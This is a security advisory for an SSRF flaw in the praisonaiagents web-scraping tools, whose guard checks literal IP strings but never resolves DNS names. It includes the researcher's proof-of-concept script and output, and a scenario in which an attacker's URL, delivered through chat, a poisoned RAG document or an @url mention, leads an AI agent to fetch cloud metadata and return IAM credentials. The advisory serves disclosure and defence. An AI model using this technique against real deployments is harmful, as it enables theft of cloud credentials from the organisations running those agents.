GHSA-vxgj-xg5c-p4h7: praisonaiagents: SSRF DNS bypass exposes internal services
GHSA-vxgj-xg5c-p4h7 HIGHPraisonAI's web-scraping tools contain a broken SSRF guard that checks only literal IP encodings and never resolves DNS — meaning any attacker who registers a domain with an A record of 169.254.169.254 can route agent fetches directly to cloud instance metadata and steal IAM credentials in a single step. With CVSS 8.5 (network-reachable, low-privilege, scope-changed), 11 downstream dependents, and 41 prior CVEs in the same package, this library represents a chronic and worsening attack surface in AI agent deployments. The prior CVE-2026-47390 fix deliberately targeted this same guard but only added more literal-IP encodings, missing the entire DNS-name class — a pattern that signals the underlying security model is structurally flawed. Upgrade praisonaiagents to 1.6.59 or later immediately; if patching is not possible, block agent processes from reaching 169.254.169.254 and RFC1918 ranges at the network or container-policy layer as compensating control.
What is the risk?
High risk (CVSS 8.5, S:C/C:H/I:L). Cloud-hosted AI agents face the most severe exposure: IMDS at 169.254.169.254 is typically reachable from any process on the host without additional authentication, and a single SSRF fetch can yield temporary IAM credentials with potentially broad cloud permissions. Exploitation requires no reverse engineering, no race condition, and no deep AI knowledge — just a domain registration and a URL — placing this firmly in the trivial exploitation tier despite the absence of a public weaponized PoC. The fact that a dedicated prior fix targeted the same guard and missed this entire vulnerability class significantly elevates the credibility of active exploitation risk; attackers aware of that fix are likely to probe the DNS bypass specifically.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | — | No patch |
| PraisonAI Agents | pip | <= 1.6.48 | 1.6.59 |
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Patch immediately: upgrade praisonaiagents to >= 1.6.59, which adds socket.getaddrinfo resolution before issuing fetches.
-
Network-layer defense (defense-in-depth regardless of patch): block egress from agent processes to 169.254.169.254, 100.100.100.200 (Alibaba IMDS), fd00:ec2::254 (AWS IMDSv6), and all RFC1918 ranges (10/8, 172.16/12, 192.168/16) via host firewall rules or Kubernetes NetworkPolicy.
-
If immediate patching is not possible: disable SpiderTools in agent configuration and block @url mention processing.
-
Enforce IMDSv2 token-required mode on all cloud instances running AI agents — this does not close the SSRF but limits IMDS exposure to one-hop token requests.
-
Detection: alert on any egress from agent container/process namespaces to 169.254.0.0/16; scan agent conversation logs for credential-pattern strings (AKIA*, eyJ tokens, bearer credentials).
-
Audit: inventory all PraisonAI deployments and check effective praisonaiagents version via pip show praisonaiagents.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-vxgj-xg5c-p4h7?
PraisonAI's web-scraping tools contain a broken SSRF guard that checks only literal IP encodings and never resolves DNS — meaning any attacker who registers a domain with an A record of 169.254.169.254 can route agent fetches directly to cloud instance metadata and steal IAM credentials in a single step. With CVSS 8.5 (network-reachable, low-privilege, scope-changed), 11 downstream dependents, and 41 prior CVEs in the same package, this library represents a chronic and worsening attack surface in AI agent deployments. The prior CVE-2026-47390 fix deliberately targeted this same guard but only added more literal-IP encodings, missing the entire DNS-name class — a pattern that signals the underlying security model is structurally flawed. Upgrade praisonaiagents to 1.6.59 or later immediately; if patching is not possible, block agent processes from reaching 169.254.169.254 and RFC1918 ranges at the network or container-policy layer as compensating control.
Is GHSA-vxgj-xg5c-p4h7 actively exploited?
No confirmed active exploitation of GHSA-vxgj-xg5c-p4h7 has been reported, but organizations should still patch proactively.
How to fix GHSA-vxgj-xg5c-p4h7?
1. Patch immediately: upgrade praisonaiagents to >= 1.6.59, which adds socket.getaddrinfo resolution before issuing fetches. 2. Network-layer defense (defense-in-depth regardless of patch): block egress from agent processes to 169.254.169.254, 100.100.100.200 (Alibaba IMDS), fd00:ec2::254 (AWS IMDSv6), and all RFC1918 ranges (10/8, 172.16/12, 192.168/16) via host firewall rules or Kubernetes NetworkPolicy. 3. If immediate patching is not possible: disable SpiderTools in agent configuration and block @url mention processing. 4. Enforce IMDSv2 token-required mode on all cloud instances running AI agents — this does not close the SSRF but limits IMDS exposure to one-hop token requests. 5. Detection: alert on any egress from agent container/process namespaces to 169.254.0.0/16; scan agent conversation logs for credential-pattern strings (AKIA*, eyJ tokens, bearer credentials). 6. Audit: inventory all PraisonAI deployments and check effective praisonaiagents version via pip show praisonaiagents.
What systems are affected by GHSA-vxgj-xg5c-p4h7?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, RAG pipelines, web content ingestion.
What is the CVSS score for GHSA-vxgj-xg5c-p4h7?
GHSA-vxgj-xg5c-p4h7 has a CVSS v3.1 base score of 8.5 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0008.002 Domains AML.T0049 Exploit Public-Facing Application AML.T0053 AI Agent Tool Invocation AML.T0085.001 AI Agent Tools AML.T0086 Exfiltration via AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
# praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS **Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research **Target:** https://github.com/MervinPraison/PraisonAI **Weakness:** CWE-918 Server-Side Request Forgery (SSRF). --- ## Summary The SSRF guard shared by PraisonAI's web tools (`SpiderTools._validate_url` → `_host_is_blocked` in `praisonaiagents/tools/spider_tools.py`) inspects only **literal IP-address encodings** of the URL host. It never resolves DNS names. Any hostname whose A/AAAA record points at an internal, loopback, link-local, or cloud-metadata address passes validation and the request is issued to that target. A static internal A record is sufficient — no DNS-rebinding race is required. The guard's own docstring claims it returns `True` "when hostname **resolves to** loopback/private/internal targets," but no resolution is performed. The fix for CVE-2026-47390 added more *encodings of literal IPs* (decimal integer, `0x` hex, `inet_aton`); it did not address the *class* "host is a name that resolves to a forbidden address." The same guard is reached through two tool surfaces: - `scrape_page` / `crawl` / `extract_links` / `extract_text` (spider tools) - the `@url` mention fetch in `praisonaiagents/tools/mentions.py` (which calls the identical `SpiderTools._validate_url` then `urllib.request.urlopen`) The correct pattern already exists in the same package: `file_tools.py` resolves the host with `socket.getaddrinfo` and checks each resolved address before fetching. `spider_tools` / `mentions` do not. ## Affected packages - `pip/praisonaiagents` <= 1.6.39 - `pip/PraisonAI` <= 4.6.39 ## Root cause `praisonaiagents/tools/spider_tools.py`, `_host_is_blocked` (def at line 26): ```python def _host_is_blocked(hostname: str) -> bool: """Return True when hostname resolves to loopback/private/internal targets.""" ... if host.isdigit(): # decimal-int IPv4 literal return _ip_blocked(ipaddress.ip_address(int(host))) if host.startswith("0x"): # hex IPv4 literal return _ip_blocked(ipaddress.ip_address(int(host, 16))) try: return _ip_blocked(ipaddress.ip_address(host)) # dotted v4 / v6 literal except ValueError: pass try: return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host))) # octal/short v4 except OSError: pass return False # <-- any DNS name lands here ``` Every branch operates on the **literal string**. For a DNS name (`attacker.example`): it is not in the literal block sets, not a `.local`/`.internal` suffix, `int(host)` is not applicable, `ipaddress.ip_address(name)` raises `ValueError` (swallowed), `inet_aton(name)` raises `OSError` (swallowed), and the function returns `False` — "not blocked." `socket.getaddrinfo` / `gethostbyname` are never called anywhere in this path. `_validate_url` (def line 74) ends with: ```python if _host_is_blocked(parsed.hostname): return False return True ``` so a name verdict of "not blocked" yields `_validate_url(...) == True`, and the caller (`scrape_page`, or `mentions._fetch_url` at lines 273–284) proceeds to fetch the original URL via `requests` / `urllib.request.urlopen`. The literal-IP coverage is otherwise good — Python's `ipaddress.is_reserved` / `is_private` happen to flag NAT64 (`64:ff9b::/96`), 6to4 (`2002::/16`), IPv4-mapped (`::ffff:`), and IPv4-compatible (`::/96`) forms. The single residual literal gap is deprecated site-local `fec0::/10` (`is_private` and `is_reserved` both `False`), which is low-impact on modern stacks. The DNS-name class is the material issue. ### The promise that was broken The block set explicitly contains `"169.254.169.254"` and `"metadata.google.internal"` (line 33) — documented intent to stop cloud-metadata theft. A name-based request defeats exactly that intent: register `metadata-thief.example` with an A record of `169.254.169.254`, and the literal block is never consulted because resolution never happens. ## Proof of concept ```python import socket from praisonaiagents.tools.spider_tools import _host_is_blocked, SpiderTools # Literal forms the CVE-2026-47390 fix added — correctly blocked: for h in ["127.0.0.1", "2130706433", "0x7f000001", "169.254.169.254", "::1"]: assert _host_is_blocked(h) is True, h # DNS names that resolve to internal targets — NOT blocked (the class the fix missed): for h in ["attacker-controlled.example", "metadata-thief.com", "rebind.attacker.net"]: assert _host_is_blocked(h) is False, h # A record may be 127.0.0.1 / 169.254.169.254 st = SpiderTools assert st._validate_url("http://127.0.0.1/") is False # literal blocked assert st._validate_url("http://metadata-thief.com/") is True # name passes -> request fires # The guard never even attempts resolution: import praisonaiagents.tools.spider_tools as S S.socket.getaddrinfo = lambda *a, **k: (_ for _ in ()).throw(RuntimeError("RESOLVER CALLED")) assert _host_is_blocked("attacker.example") is False # no RuntimeError -> never resolved print("[+] CONFIRMED: SSRF guard ignores DNS resolution; name->internal bypasses validation") ``` End-to-end against a deployed agent: point any controlled domain's A record at `169.254.169.254` (or `127.0.0.1`, or an RFC1918 service), then drive an agent that has `scrape_page`/`crawl` enabled, or include the URL as an `@url` mention. The fetch reaches the internal/metadata target and its response is returned into model context. ## Remediation Resolve the host and apply the existing `_ip_blocked` check to **every** resolved address before fetching — the pattern already implemented in `praisonaiagents/tools/file_tools.py` (lines 339–344): ```python resolved = socket.getaddrinfo(parsed.hostname, parsed.port or (443 if parsed.scheme == "https" else 80)) for family, _, _, _, sockaddr in resolved: if _ip_blocked(ipaddress.ip_address(sockaddr[0])): return True # blocked ``` To also close DNS rebinding (resolve-then-connect TOCTOU), pin the connection to the validated address rather than re-resolving at fetch time. Apply the same fix to both `_validate_url` and `mentions._fetch_url`. Additionally add `fec0::/10` to the IPv6 rejection set for completeness. ## Steps to reproduce 1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI` 2. Run the proof of concept shown above against the cloned source. 3. Observe the result shown under *Verified result* below. ## Verified result This PoC was executed against the live upstream code; captured output: ``` == Literal internal/loopback encodings — correctly BLOCKED == 127.0.0.1 blocked=True 2130706433 blocked=True 0x7f000001 blocked=True 169.254.169.254 blocked=True ::1 blocked=True localhost blocked=True 10.0.0.5 blocked=True == DNS names whose A-record could point internal — NOT blocked (the gap) == attacker-controlled.example blocked=False metadata-thief.com blocked=False rebind.attacker.net blocked=False == Prove resolution is NEVER attempted (monkeypatch getaddrinfo to explode) == _host_is_blocked('metadata-thief.com') = False (no RuntimeError -> DNS never resolved) == _validate_url verdict (replicating the method's host check on the real func) == http://127.0.0.1/ -> validate=False (blocked) http://metadata-thief.com/ -> validate=True (PASSES -> request fires) [+] CONFIRMED: name->internal bypasses the SSRF guard; getaddrinfo/gethostbyname never called. ``` ## Credit Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.
Exploitation Scenario
An adversary targeting a cloud-hosted PraisonAI deployment registers a throwaway domain (e.g., cdn-update.attacker.net) and sets its A record to 169.254.169.254. They interact with an exposed agent — through a public chat interface, a poisoned document ingested by a RAG pipeline, or an @url mention in a multi-agent message — and pass the crafted URL as input to scrape_page or crawl. The _host_is_blocked guard evaluates the string 'cdn-update.attacker.net', finds no literal IP match, and returns False (allowed). The requests library re-resolves the name at fetch time, connects to 169.254.169.254, and retrieves the AWS IMDSv1 response at /latest/meta-data/iam/security-credentials/<role>. The JSON body containing AccessKeyId, SecretAccessKey, and Token is returned into model context. If the agent echoes or summarizes fetched content — standard behavior for scraping agents — the credentials are delivered directly to the adversary. The entire chain requires no authentication bypass beyond getting a URL into the agent's input.
Weaknesses (CWE)
CWE-918 — Server-Side Request Forgery (SSRF): The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N References
Timeline
Related Vulnerabilities
CVE-2026-34938 10.0 praisonaiagents: sandbox bypass enables full host RCE
Same package: praisonaiagents CVE-2026-39888 10.0 praisonaiagents: sandbox escape enables host RCE
Same package: praisonaiagents CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonaiagents GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonaiagents CVE-2026-47391 9.8 PraisonAI: Unauth RCE via A2A eval injection
Same package: praisonaiagents